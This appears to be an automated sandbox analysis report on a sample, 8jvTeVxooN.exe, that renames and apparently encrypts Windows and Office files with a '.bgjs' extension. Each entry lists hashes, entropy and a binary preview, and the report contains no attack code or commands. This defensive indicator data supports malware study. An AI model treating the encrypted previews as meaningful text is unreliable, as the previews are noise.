Preview:	<?xml[N/.q_....K.A........m=.....N..c<$.4.M..J.avG.=..9E.L.@VA... .h>Dc.9.[..Wp.....xk8O....\|@D.C.kf,.9+6...N....4d....S`...bS.s.R.u.x!...,<.7.D......5.~.'hf.MA.l.v.sE...B.....p....{d..J.S.p.D.Z..Q.&...=..9.~...U.....E.s..S/.}..:..Y..`O$.Id8.Kx%>..v.z]w..X.......'.........}._.....EO>.D.esCXb..P.8<a...x...B..;Z.%q.a.rc..V...,.,.v.p.P.6,.N..;_.[.\(.../....1...?...x>.5.!n.t.....5......xyqP.S...Co..5..=..n....>.?.2...\|...3.2........E../........9...=.3...q.?.C..x.......K....i...h`.+O.\N..y..x.[...myTN.......W... `$4....w..=..w..j..0.mF..t...`U@.?.........w.x.%..v..X....@.M0......+(O....a....l.q..R...h.H...LgY.].i.'.....sT..tr.'2..$.[Rj)....^l...2....0...?..&&}%.Y@.Z.......}. ..l7(IS..9d..u/..T.}.e.,V......k.I.u.\gS}.R..... S..N...........Sa.p.;..}x.3.As.i...8^b../.m_...)_...W..v..Kk,.&.s,....7..x.."blK.B\|?N... .....(.]...@3;.`oR....~w.........p.6o1k.......%..z...}.R..l.:..{.......11....+:....Z....<..3.4Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{3

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170039v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	7.749499487251502
Encrypted:	false
SSDEEP:	24:pBlzh26BcfXSMNAivjbbpwj5hK7o7/cN8ObD:p7zknNAg9Q5hK8zc1D
MD5:	6CCA8E9111D2697097723133E5F2875A
SHA1:	93A11625BF18D75558AC11894F90B40166B90FF7
SHA-256:	454AA0C55841D2B9458EF0810DC2C8C24D868C48C353C7242D2F72B7CED83080
SHA-512:	D15304F5DC38C129EA4B8657A446542AB2055DC4430C004289C886BE88B424E31EA1E21DF3309E19016FA3CCAB3DFB906E750E64B1ACE5CC45ECD79E670ED64A
Malicious:	false
Preview:	<?xml.rp&k.......J....N.?......^.Y{....V..(.rM.<..&......_z4yG.....x&.j.%..U.dJ.<..g...8.g...gL....5k..aM...........U.7.2.L..gz..Z?y.tH..Zr.].E+.n.>.K...ev.?I.[8..!..A..dmKIT..?^.@$j.J.i..9@..Cp.\|..^pSPgR...-.........E...+...S..S.#g...3+$.Y.}T...P.kA.G7.6..fz...r..Q....h,....c..X...1......~.....K.Q.o~Z.m.&......OzS..B.a.y.k(.5....5/..5.......SVf.,\|....\.\.e;.S_Z.....V.Y...f.y..9\dF...D.9y.....0{~.../,...zU5...-.3...t.P..8...eM'..-..<.@..=..N....PIO...S."z)m.h..vc.g.R.....9..Pz....H..Zw4E...S..k.........V..9yT........J...G-.6a.C.9..f+.w.s..v......e...p~.........22.IX...9..h...z.....!.....q....J......zKN.&....l.A.g..[.".-...F.@..^.I7. VVR....1G5,.S....n..&...+t..7..Y....t...OkU.7...#.#;PV-...N..C....p..f..L..\.l...&..5._A8..Q...4.{...Sr...`drP..wuW.....MH@..7C.....K1..5%...#..g..!.s.@....r...i...1.Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\officec2rclient.exe_Rules.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	321907
Entropy (8bit):	6.628127005046594
Encrypted:	false
SSDEEP:	3072:s747VPC3SalxVRZw1dtjAJ8QjhPb/rFa99k1UIGPwoUTMR:suxgTvRZAUxjhVq90UI7iR
MD5:	C9749B9F29E2A11B928254FF69D4E21D
SHA1:	316F587C2C113EE626B06F296504A049E31E98AF
SHA-256:	02696EB6C4283A671627C5F89D2DB7B80DB33C98C9C2BD30E580D934F8960B18
SHA-512:	1D7D57702E6DB6F038ED078806C4DACDA3EEC41D7361B9777EF44DCC77AE1F53F8875B0B9B01F5ABF50BE142D4C08718E61E583D1A21CC477E45A66F600E20C8
Malicious:	false
Preview:	<Rule........p......., L.....+...Ac.....3.....v...z.'.../...........~..e.n.n.-o\|...7,..#TQF..r....t./.Kqe=...y....0.X.....U(.#t.HZ.!...?..Tw.......J..v@./.{!."..)c.^.x...Y.0..X..{.t.......V+9..$.~y.....XB..go...K.{.W.......dqp?..V.w.~.v..:.a.};....@...$7.g...Ls..eL....:J......\.5..t........w.C...........r1p.J..,.Z.C...].e...r...l@..F.}..8F]g.g.TxiB..v._..._.6........\..9.......R:......c..)..4.y/......M?_....k..-Z..t.$..9......<. w...?LMs"Y2C.K.s)...?..p..=9.G..~v8......nV........j...*...D.kG..r.q...h n....&.FX@...w..T.......g..$b..G....n...=W..,..........f!y..m^.F.p.d..p5.....?CZ..wr`..x.7&=_...(...7@.....[....<.t\|Cq.%p^..y..;..).V1p.'.....II.....e.g.>.FB i.\k3.n.j6........^..{.=.......]9V....'QgO........U..^.....q.&..Z% ..Q..y.B.d.Xr'..psp...AQ......G:a\.EA..V.I,..;8....g....Mo....r..... .b.......K..8p....l.P..v{..z.I-.=..m.d..Ju..8.c.<.&.-Q.T;.....F.'....q.<.4.rk....P...<.a#E.....[..J....g.....O...=.e...=x(....a...bVs..k.{,.B\|v}.

C:\Users\user\Local Settings\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	361051
Entropy (8bit):	6.5127409507821
Encrypted:	false
SSDEEP:	3072:7hSCsoG+smDUgoSR9Talrma/cVck4fxH9WTlbA8NOYStFEtD5RxcRI:tSCsoG+smD1/8lrJ0K9xQTlqYSLEHoI
MD5:	6EF6C62709ECE85568178D56870BE24B
SHA1:	390B65FD9725BAEA7E02B6AF0FD39DC1DED33481
SHA-256:	80A159CE9F159BA81EB071BD73ACED08A673225FF35998A19060264B45DEEBCA
SHA-512:	38AA551275FB5E2C06B786B2FE82346604CC2B046E57869F91E91CC362DA4E0E69ABEF8F2D5C436B583B8BEE6AEF391C267D121736111115D43F4E84F90C8AB2
Malicious:	false
Preview:	<Rule.O~w..RN0.Q....#....s......k..l.}mm.....y..BN.....jTB...,.....<..3.R.L6...3....N.)..S....Zi}......S._.N"........A......t=.K.@o..J.#!a.@hx..>....)../...@...5.R....H....E...p......M.zK..u.H4..T....M..L..ne..F......&..{.u.fyY(..$.yT...k...&m.D#..H..h....<ZvQf."=3c.%.....H].5...p.oB.~...ur..\..._.to.r.......j....dv...A.z..[<.d..el.......Wl..#.{O...1...b....UM..l....d.....p......k..{.7....eO.)..\........tCM.gm.R".......$)...}.....q..G.S...KC ...KS82 ...G.............Z....w...Z~6..Al.;..@..\|@q#...dHM.VW(GV.......k.U... 1..A...b.{D...BB.@...../+..-\N..)h...o....{.,QK.Y.:K%..*...{...,8!..`../nG7...M=u....w.qG+d..".....TjT.?....B.R..@x..H....)c..6[x.(.h..V.....^l...N....\$.c%.Bd....:vxe.^.A...b'..a...!...w[.<W...m.7..r..7W?.%.uM4n....."....di_~......i....y..\.s...V.\|....."G...P.p.o6>{..... .s.."!../W.r...n....1<......L=#..........G.v.... .#.l}.znC.i....B.2e-7E...`..U..\..$....w`..ON<...T...8s.w.nE..W_..,..~..f..].1h@.......

C:\Users\user\Local Settings\Microsoft\Office\16.0\officesetup.exe_Rules.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	361051
Entropy (8bit):	6.513416743895254
Encrypted:	false
SSDEEP:	3072:vteOQEe/YsusfzA8TMr/flShHO6oV7jBgd5H/MC0M4l0f/z1DeYarcK9sOFw9:vtePwsuoUVrXlSO7m2y/NeWEsOFq
MD5:	1C93414D525C2A59A112A4F9EAFEDEB1
SHA1:	0FCF28B604C1FECF8D3D774311C7A6681E8E4BF9
SHA-256:	9F63660C431D99CDBA11F07AAA17BE757B9BECCB5D67BF6A04592A5FF68B035E
SHA-512:	E6837A5932E4D60FD9443E377D3ABB52D5CB6B484F5F9127814AFC9BFE15CFB2080C52ED5D3BCDF383EC7DF372FC2D53936E08038513289119B336B3F9879299
Malicious:	false
Preview:	<Rule.....M`..........F~.;N..o9+I..^..O.......T..9..........\.(.}B.d...\....+.....k.[...k?O]/L..D.K....t.mW.C.a.J.87...ht..<f....5'm%..mv..9L...H.....i.....3......M'.L9...k..2$da..F...\|N.k.o\..B...#...+.s.2..J7.^....JPn....Ut.C.X..+....m/t"D..u.7JH.[L.a.....g...1....A.@..........K#6...>:..lko)q>......\....C..<..g^.....^..:..^..r....C...........)Q`Wjg~F.n.V..yv.HZ....+)....v7x........D.R(...........~..g./S..S..M._.......Z.3m.X.c..ec..mE.dO..Fn..^o.....<.. ...p....F.#..BG..?.d.x._.,......;.Kf.EK3.K..8.`._>.5.i.[sycY.....Z8.l.&..'s..6Q..3L..^HD..l.T....8...^.Y....-..,..>d.IQI.....B....u....h..q..<....IbM..;......tK.S..\|..n.v..118'...2.1+DFB......\|..j.L.....e..-....wk.l@=.T.,.Q.Lop.h.^..yD......pf..A..R.r..A.:.......:f.}\..-....` .BL..%.O_.q8....}......)..+4"+.U..d..aXq...Wv....T&..R-\|Z....." l 7o{.D.2_....Ma.<.Z.{0...7._.;hZf.w..N\'.0.........:...I. H..;F..c6.!5....N6:i..yD.Rm...{V<sS.3#]......G.}8n....f....i@Q...9G..O.....+[....t.......C....

C:\Users\user\Local Settings\Microsoft\Office\16.0\setup32.exe_Rules.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	135031
Entropy (8bit):	7.998814774884225
Encrypted:	true
SSDEEP:	3072:2CkU2qXoGzyv/A1wEKo7e/z/JToFmugvWbSmtReHVxy5WJ8FqVQ:2CFjJao74z/JToFmk/eHYWpC
MD5:	0A974F4F4F75B9B18B7249195F2FBC61
SHA1:	BAAFFA056EF5E1D24D989BD17376AC338BC859AA
SHA-256:	9E95115926DAE21EE418D8B3CF06B28F2DC99A8ACC953A229D5A48852D1F60D6
SHA-512:	C310B2C8E2B1DE9CC583011B5D0B11AD22EC0FB2402074552D698E11D16DAC19F753A9A8C6A683D4604E8CF85553474066C29F11FDE37F27BDAC44273FEAB2E2
Malicious:	true
Preview:	<?xmln........9L...z...~.Fc.........Gca..dh#8.$WK.....[So....E..V#..b....?...U.N........,.:v.......\|?..05.-..I..$c..r.j!?..##...D......B>.-@&[z.o.....O4..._'=E.B..y.p...Q.Z..Y\I1..a.v.{<.M..C..@4.#R/......... .......<.x\|+2.>.tZ..Sn.%_......9mItay...(....D.y.J.....u'.J.mj.a..`....:w@......>.9...@r....^.,..7.... .."#..I.\h#....E...A..lg?.dx......U8:na8.=../...X..M.....k..........9.+....!h.F..../.c.<.>N.D.F...k..Jts.m.o...3r.0...?...........q.sL.......i%.._rG..c.R.....B<..O..T{.....jx.<(..7V.?V....Y../...@.Q.Qh....=.._v.vb....s...9.k..b9?..\....n..x....[.{..ub..2..w.\.,+.B.@.6N.P....tU\|:.....3....gJ..p...Q..(..Em.........]$.:...2.K.F4..+.......p .>....>...G..]....b.8..+N.%x...XD....{.n.'}.&.E.^p..;Q.r.;=.F.\|......D...../.X[...a.I`Q7.A.H.......^.V....jWU>...9.G?.h^....J......).#.e.s$.<.....){.aH.V4...C....A....-n...D..!.<#..1.r~).kDna.4.......(..CY(.m.....1$.;.L..../.j..j"...oC..j`..HR....t.>.g.8..)i\.$a.......!.. ..S..#.zN..r

C:\Users\user\Local Settings\Microsoft\Office\Features\1-3FeatureCache.txt.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1152
Entropy (8bit):	7.799663583371111
Encrypted:	false
SSDEEP:	24:7Nz8w6CJZmOsMPTB6DEFTYK23be6Zn5N9EP7MflaecRoraObD:RHXsMbBo0YK0b7t5sDMflge9D
MD5:	BCCD1507DBB600932758902CA60EAB9F
SHA1:	9AC65C5002B8179FEF676400EDACB8A6BDCA61D2
SHA-256:	C238187A5FFC724CD11AE4A0C5BC66A2BC7BAE2E1A913F79E310F2F979104898
SHA-512:	83FE45632561BE827EB97E9271757197168A0A02632657EF85373EC51519DDB96330B359CD1D6C62D52E14A7ACB86C50043668EE0CF26258EEBAD6E90F890BAB
Malicious:	false
Preview:	1.1.9O%..%"Ou. .0..B.........H8<...9..@.........?m..pf....#,-.'\t;L..Gs...gWI..z...gw..(!.Kz.[J......>....s.h)........'&w.o.<...y.V.B6.!mz..PJh[Iy+mk...ZG..8<qc.2.>..3.v...>...Y...c..a...k..%.....U...v.t..9...>(6;...j.h..Y....dT...9...b......e.Y"..5:....\|..=Z#.\|....P.t..... ..u.......T...':'j...~e .....K)......4.p$V..o.'......@...9...O!....&6:..WA.i...ync...B.. .1G...#.wSs..k=....Z0Zo.....q.Yn...35..h....;.[......M..Sv...((.,....+t~..(I...g..&...]...D....{.....H..R....>f.i..n...+....j...%.F...b)Wv...l.2..l..hx.'.j.P....=..t.}...G}..7...V.`.....CPP....p.8.....)y...z.`'.H..2.....$.......k..e.+I..}..v.}Q.M.8q.$..3[(j`XF......v.c.V@27.G..S-.u...2..M....!.d..~..K0q.8<.....E48.X{(rM.v@#....."D....94.8.2..y......AN.....X....-r,.....89........~..9@.O.f.......a.].....R..!( d.Y#d.;.#...%...yd ...l....Q......G.p.t..j.=.@9..!@;...$..v!.3"..6....0..o.l#..k........7.K..M....Al....m.q1....z......Z.E.N.#..."x2.\........Ay..p..1..zEM2mw..1j....J."*.2"...\|.Gd,W.

C:\Users\user\Local Settings\Microsoft\Office\Features\1-7FeatureCache.txt.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1170
Entropy (8bit):	7.811899915732415
Encrypted:	false
SSDEEP:	24:pJQtg4fG7KK5F/bdA/yf40bXLI82JfeRq0pmIBMv8zIObD:b9+G75pAx0rLz2JoqSmI8gD
MD5:	E097B6FB02BB44F92136EE79FB19F634
SHA1:	7829BB7BB135B700A55435831100D72CFCC55D81
SHA-256:	A4A2B617F257578F4B05E120686ABC6DC6FF7D9899044F0AB314581F2B68E342
SHA-512:	50C016679B7CA08B02327977E5BC2F65146A8B901FE670B29012BCD4D5D888185D7018541F45EA3EAE8BB91841FEC7ACACA6DB0B484B776D0149E3A5D7C01336
Malicious:	false
Preview:	1.1.9.2.y..'"..y.j0-v...v.w......\\|......l.p.-.bh+.<..2.]K......A.."8Y.P...F.ac.E.3c..\$...Nm.A....@.T.....uu..2+lS...\,.\|6.N..!v...}h....e...]..0....C..Qw...P#wR.2.........RA.?./.X9<..y.p.........^....N......1.`,.Z(.K}..........z`........k.<..g.. #..C.....Et.(...;g.U...J.m.Os4v.&.t1....R......0..GD..Y.f...r..w...mm..O......S$.w...[._^...1\.Q.$..C\...f.y.7.#...(=e,M.m..%.\.\9i.x.K.S....\|.N.#..}'.."G....9.x../.&.J".1\.d.P..K...S........M...e..q.l.."}.. -....a.<..R.G........w...H@...7...j...n.n. ...%Q..0k.j....{k.].T.M..}w{......'.7....E..k)...D...V$b8N%/w.{.F..3...pT.7Kp..n......s...4......m.8-.FVjb.?.....J.<.....U.inM.....g.g....!Iz...e.o<...u..>..e).+.r0c.........us....8.]r...k.W...f...la17.2.x.....+h.....;.uZ...4>8...)n..]..<.~.x.....V.\|k+..$.n.`.#..`C&.i.Q.$9..B.\|x.q.W.....V.........R............6..W..B....YA.0.P..]..`.j.+.f.M.R3....Q.....w.\|..z.T.pd=T.E.v^..+.pr...-.U.]...)...t..pZ..B..p..#.x..._..O....=...H....;...U=

C:\Users\user\Local Settings\Microsoft\Office\OTele\excel.exe.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	37198
Entropy (8bit):	7.994863378180018
Encrypted:	true
SSDEEP:	768:S77PhzjVgJfhnhWY7kMJG3kyr2f1MAQ1IgMcrX0M/B8lgZIrQVcfHVB:S77Ph/VgJfhcY7kbUNf1ZgMY/cAq
MD5:	1E1C6D47F516AE5DC2CF0B74B7883CA8
SHA1:	5D3B0C39555F1AF5290D2D4E9433895BC6DFECDC
SHA-256:	9D877D13391A866012F7D45E5240B1B4C227129626FBAB2D1E10D7B07B258EA8
SHA-512:	62596E968A80585868EF5F469345D697BE773CD4706EE9AEC3EBC42C06C66F0DEC6B6ED363B28388CBE5EF08BA14B45B4698DDBD5679C205CFB387E6D5615EAC
Malicious:	true
Preview:	SQLit...#.4.:j....0.s...-.A.0...6z8.p'..>A../..C...g=1.....~.u=h+...7.V[..Kd]x..... ..l...=...mK@.<...m.5....fk..x.T...1.%.L...0....g..d.....7k<.o.n.YdZ... j$....}...@."@.C$P...H....".6.X.$`..`..2r.U.........8...S...E..+3.......5!...........S.k.@V...s..Yx4..Z.Ue..3@.e..FS.......$b.:1..BbO..hG.-n......F....>..O..x....y.NP.i..^._s8.....dlo.kO.e.L.N...1-.&....=(R.=I7..7..+.c.m.O.'u+.Zr.>.A.CJ-.m........D..~c9...A;...x....f.[..k..f..)qG.},#......1.'...... ..p...q.}.......?......L.Vj......h..#..a...vQ..rB...y.7.o5....8.F.p.1.Y5.6..k4.........T=..s..(-....B,.........cs.D..jj....k.h..i.....}._9...+.....a>..X....o.$..O....&.....7....4./.[..}!.......w..I...3W.'.ShUc.......1tzK.T.b.?..0..,..j..<.FKK....G.V..7...3.v%.,:.?...W....ko?A?.2...d~.Y..YN....\.>{.V.{2...$...c^...d;2.+.[#..`.........v.fN....M.r.m.YQ!9&n....F.x.e>Lo...Un...U...E.7....+Z:O...>.`...x.Ln....>..~~mYl...5q.....tHz.t..m...t.X.....?.)....H...s.l......*....$.DY...._.&.....r..&.I

C:\Users\user\Local Settings\Microsoft\Office\OTele\excel.exe.db.session.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	20814
Entropy (8bit):	7.991888438925414
Encrypted:	true
SSDEEP:	384:yLGy6/FckAaoVmo/z7UY4HdIHZvZUFmJXoH9Qhn99CY4d+ZuP6jZXIVc/kWRane:hzmTVP7UY4Hd0WFmJ4H9QHKdeuPQXIP0
MD5:	7AF7D593BBD4F059BD4E4C0277F90AC8
SHA1:	ACC145C6AC317212C3588E9B7271A96C8A3E0D9C
SHA-256:	6A8719B12D96A67F4608E5786758F84290C1A9486780253D4C2645DA4145AC8C
SHA-512:	01C5F08204256213264410AD03CD3007D8E8E5CAE716A4E6B008E09EFD81175AE7EC6F54C9986FFBCCD745FC86A2F8779B13D8C52CA4CCB6C792C0CA8D9620CC
Malicious:	true
Preview:	SQLit.3.B..A......]........E.JD...$...R..e."..3...G.N...ih.H.i.......J...C2O;{...2.\.^.t...e.'.S)V....1L.$=9.js...J.....M..j]te.j.?..R@...)...yy..fh.{.V~0.6.p.Y....p.)T....(.#..us.W.....k&..._.{...k.!3...=..S.Z.T.#.3.`x.U..N6.hB^...D.=....y.h..K.....C...$..x.3..;.JCs.^......b\|.1..I./Y.P...M.T.....o&.....j......88._.pw..bzJ.k.w.q..:.V.4...D&.&.l.U.^_.....MN.~Q)2Yv~.y.@..q.D.B!.=...i./`.t..}/..9:.....b.3.R..... ....0.]l..,.@.b.8#>e.K...}....o8.?......]...'.k.?>4s..9./jmr#sd~......N..U..%.".r.....S.Zv..G.9\|n.~.q..z.b!&..q.]9...:.........D.#... l3..l.i....../...X..../.....,.(F.!`"..n.a.y.\|.....\&..Oc!/M.H6b.......Z.+.v.....R..SL.....H....}v.V...5........C..m{...V..).......x..t.M>. jf9..t..\.......{.c......A.........xK.KUX@..%...G4..B.D.^.F..;aUg...3r@o.6c.b.I.dfC.!..3.%.c...&....m.Q..&.B.+.@..mt..N....".j.E...Au..M.?.].......>.$..6...........$_..2(....D..a).M..o.q.T..b...'..C.5q.. e...x=fTy........ej..r..P.......+.../D..,......Y.

C:\Users\user\Local Settings\Microsoft\Office\OTele\officec2rclient.exe.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.992669715769112
Encrypted:	true
SSDEEP:	384:QwE5H3MC1hk5feOTlAk4RnrlUh9O8+8MCh+I4IRHRLHMP1A/mohGagZB:QwE5Hj1ofeOZKUa8bMClHRAdAFU
MD5:	83BD4EC76410E16FF3CDD1FABA164E00
SHA1:	3EEDDF47C81689B236D0C0B14F14FD7CB2162583
SHA-256:	6152160D3E4DA9C6F052CA1B4A3246386E7FE898B5DD4C9F8A48EE177313CC1A
SHA-512:	D0424872EBFAE12A9D5C042B2EB5E24BBA3605AC9E50C15F71B2D3C4355F1C0AF1E87A3DAD8C267B3887EDA9D28F10FC029DB4254D72AAD25A5E51058C7CFBA6
Malicious:	true
Preview:	SQLitpS..\|haPm.ep}R,...U".=_.......y..c..].......p...[.Op.$..HR.j.w..}N',@.......R=D....\|...).S/.`.u..3. .7...d..ge..?p.._m...]...........\.R.x..........P.._c. \.q.u\.........B..W.OD..U..\|..t..vk...D.6.\...V..;v.+......11).F.\}.....=..c..3...........O......^r..C.8MqL.Zb@S........f..b..\Y..-)@...r6r(,...4.r....$..G....b6VeM..q#....?./o..s.=,...EYN....e`,.e{%+#Hj.F..&<hP....q...u.,...J2.T'.....#..xM#5.}p%..#f..>..7..H...5->..a.,..:8-.c.(=3...s.....^.l...C.....a].mJ....-<.a\.J.fK5.Y...GG...0k.....(.%.&...3.,.~...q.7;@p.$..k...._..A.1..b.....)..D..t..z.......G$..CT......Q..&I{.;.P..f{...R.o.s.Er4.....@.<.5w:.....9S...OR@.7<.O\|..O..K~.$.....Q...4..S..8.....3.......'.p......`.> ~..]...>fe.&.G.t@I......"..`. .i.J.z:..b.....?&k;.?.......D.3.,.AG\|.........zH.........[w.Q,.w....O....qx...5.f..P-.~%I$...?.w..?.B{w....%......."6(...0..Gy..../9...y.m..w?..V.H..CW..uL1...`r.5..:....qd.M...Z..$.$.v....}.....$2.}..a%.M.......3,..6...`..*.d....@....W

C:\Users\user\Local Settings\Microsoft\Office\OTele\officeclicktorun.exe.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.9921836948501745
Encrypted:	true
SSDEEP:	384:zyMCVLEONvEnDSu1jnvDzhAV5Al9FIPtTOSElgVp5bJvQbsnYSI2OuFldU:zyRDSG2DziVyrFQ5hn/YonYSsum
MD5:	5E90AA5AD7000818BAD48F0D412316E2
SHA1:	7E46C4A884947107E423A9AACB0CD194519B048B
SHA-256:	0B4F473C56AD94BFDDFB1E7910C855C5054F449A7F7D2CA2FEBB2936C4DECD33
SHA-512:	DFFB197C5ACFDDE376AA50ADC2846053A245563337BC80D34FB271351F8087AE7E3A76904984743CE73011A83DB0DDE301810E3FE74E45A19AE45C18D4822159
Malicious:	true
Preview:	SQLit.M..z./h...........4...nkN....Rj......%3...'.O.....TZ.\[..h..8W.%.Z[..~3........qh~...(..a.\|x...C...jI.f.Y..b....l.l...9.e..@..0PyM...i.h.........p.b.@..M........T=..>.J.}..I......!....8J..g.`..<..Y....MH.L.........m....c/.R......$ r.!c?....d84a).;..~...5I.O.I.x.p/.._X.!.6..]#^.....x...oFf1{&.7..3.kTy.% ..D.0..3.9j#J.H..AV5."F.d..e.........\.5..Pf.....5_.2.j....V&hr..1#.e..GN...6...T8...l/m{o..&...:...]0..k..#.3..H.W#....\.63..y"..L.....=j..k.k:vXbN........[.1.TW.1..T..Xv......{.}.....p....y..8>..M.....D.<..d....."./..@.rD....GpXE..8p.q.0./...\......N$.?.s.....;. .._>=..b..J......mp...Z?..-...oO...ph^Ye_..w.H.(c.aW....UR...S......~.0....@.t..W.!..G6..k)+.@....q.S)5!....#VM.v..Yu._...................OA.%.y_.!>.:...>.gJ6....=.....\..S.k0...6......b..7..<CM/....M.N.....@......se..o...%a.%O..=u....v..U. .......p.@....\|KuRe..v.^:X.......v...&..>...%...K..?..YfW{$....n.2..>......5.{]n.]......Y.)._=dt.u.......o.^.k......(.r..Q.x5

C:\Users\user\Local Settings\Microsoft\Office\OTele\officesetup.exe.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.993189445648864
Encrypted:	true
SSDEEP:	768:K3IIAirEQojABpQmASzGKfzXOYt5KApxb+yFyyV54i2cBZgH:K3IUomAOGUeYt51pxSA159xBS
MD5:	11647823B8DAF51822B47BD32CB986FA
SHA1:	D060E006B0B8C2CE1AB136653A21016017DE46F4
SHA-256:	7EB5A6DB300C7AC56C6AB3F014CAA7A98D97B0C289E55C9AFF8F6995A224180B
SHA-512:	2BFEC849FAD3C95E0EE18787D2F76CE1ED08ADA4C50AE2FFA9D677AD65A09D77F5BC461386B97FFD4664FB55C7C28DD5A64C93160B26FD51DDE399F55E53035C
Malicious:	true
Preview:	SQLit.O.Ipk'......H.G.p.?.cJ..`.Zp.MF.u.6.V.......tPZ\.8...H.Tn.....a.z.]."A4..n.E\..Q./..%FM\|..5..M.G.r...b.;R..e.......E3.f..G..d...x..]".....[..U..T....Y..N..^.v..q.)..C..A%.N ..]W...A+F..:..,....+...[Y...?..b2....kX..Ky.[......y.(.....V3}..9S...w..1..p.....1..-"...l...2M..B..3i..cX.B;...3........'..@.&...&i(#W...J....&.$Jw.A.~Z...h.q.n@Q<._.#.I...#..M.'.P.L.5J,.~..^..d.)G.l..l..HT..w..8v...)5...W...Jq".4.X"..{Y.._.....2.L...K#...q.rN.2G.8k.........}..UY...n...D...s.....0.j..?.a..D...u.y.LY...W.....A..y......0.n4....#..u...8..I..[(....q.....V.D..'..a.X.Q..Xw...).y..)$..e{^pJ.'.8(.P.`2..m..mX5.J.q. .^R.rS..D<.I.y..X.....;..S...n.G..H......^E.x.....Q...}Q....TI...=...&...a..(o....V..u.;..\.(.QQ.X.....o....e~... .G..e/\|.i,......n........1.2..8..f..W......,vd.8MB/6(Z..k.......Z.a.(b.V.....OR..a/...I7C.7`....8......j..~WC`.^&hl0D.\..>.;y....R0Z.lD...l....~.W.TN3.3..5..4L...[..h -...2..N..<...b".z}b.gb..C51f.A.".KS.?T..d....t..X.....

C:\Users\user\Local Settings\Microsoft\PenWorkspace\DiscoverCacheData.dat.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1353
Entropy (8bit):	7.851980648756843
Encrypted:	false
SSDEEP:	24:Yn+RFAtM168TXN8XVbnau0zgS7d7iJ+D5QtCdcDL3OUP1uOXSWWE5qXubO3mLUny:YGAX8TKc/zgS7d7u+D5QUaf3OtwgbujZ
MD5:	FB2DDD9CD4A0084567A6DB784E93F834
SHA1:	F58E1C9A7449986FCE6334251D402DB8B7F45FFA
SHA-256:	A5227CFAEC378055F7B2561542DAA718BD85202BFF6BEE62090DA4B0A466869B
SHA-512:	95200137E68E8FE239441D6E7833EED22E689B643BD62598E0C06E1B6D22B4461D06BF9025F86AD9BCD9629613CD0CFD39C39E66F578438986391011392496BB
Malicious:	false
Preview:	{"Rec...p..R.v!d.C...Ro.n._3..X-.:;.....Y.....MX.K.o...G..tpJ.......H9=.VOT..Q..cZ....n.2.F]...1.}...W..!O7.3,._...z.H...G...j].u.d............}.ISr.D..._-"g..._..YC..:..y(nS{....Z...Z...<._,.p...S{/.I..r....NU..H.....J....6....u.V...?T.).w.f{..".j3.....K...&J..t.#....C.2....g.q...>.......a....,b.3...b.n$:.I..U...a!.......&.&.KR[.v.......z.e(`........1dA[y.....@.r.V.r....0Rb....sG...u.<4..D.X..I...6b3L....."3^.^b.<..........D.L.n(....).P.mq.`.]......E.o..yc.u\.R.7..I6..q+.f.mT8..Tf.eF.r.e...E..TiW^...AqR.d....~.....G.)...>.;7...z..cKA....2.Y./<..D.M^..;....N-..p.r$....W....;[].M.cUZ.k^.G....;.xJ ......T'...z..+..$....P....,....i.1.e.X.i...u.=.}%.S...{..m..e...nl.B..S51...;..{.."....:.n....c.Hn.oP*..........(...C4N...XL.....w~.^G..W}HB.7.3...\|.MsAx...2+2..\.b...I...p4..9g.J....=....E.mVxJ]..".S..m.....~[}.,.E"....i\|g&.n.u..'..[.}..E.%;Mst.T8..I..k.n.. N._..n>..i....hUw..5^<'+...Y......a..}.....:.I.s..K....H.&....xy.........n..dU#...A

C:\Users\user\Local Settings\Microsoft\TokenBroker\Cache\089d66ba04a8cec4bdc5267f42f39cf84278bb67.tbres.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	2612
Entropy (8bit):	7.923381244910317
Encrypted:	false
SSDEEP:	48:aP5xPYoGPQ661HUc69m5m38z11qUSv9PUmHcFSoD:m5j0TCzDqNv9V8o0
MD5:	25E9DB2C2134C33E0254709483BAC4A7
SHA1:	F24A5B4E45A6ED7FE1C93A8C11308BC737432FFA
SHA-256:	95C90C46F3AB8A3D836AE8CF1987B83E6C6A2608A8D5936483BCC23C6C0445F4
SHA-512:	49CEED74C7F8C21D855148E3B98ECA16F1276EDC24B235C3D2FC549DA628669E249CCD04B3776E7DDA1FBDF696E7A9D2A53BDEEDB699BC547DEEC98A163259C1
Malicious:	false
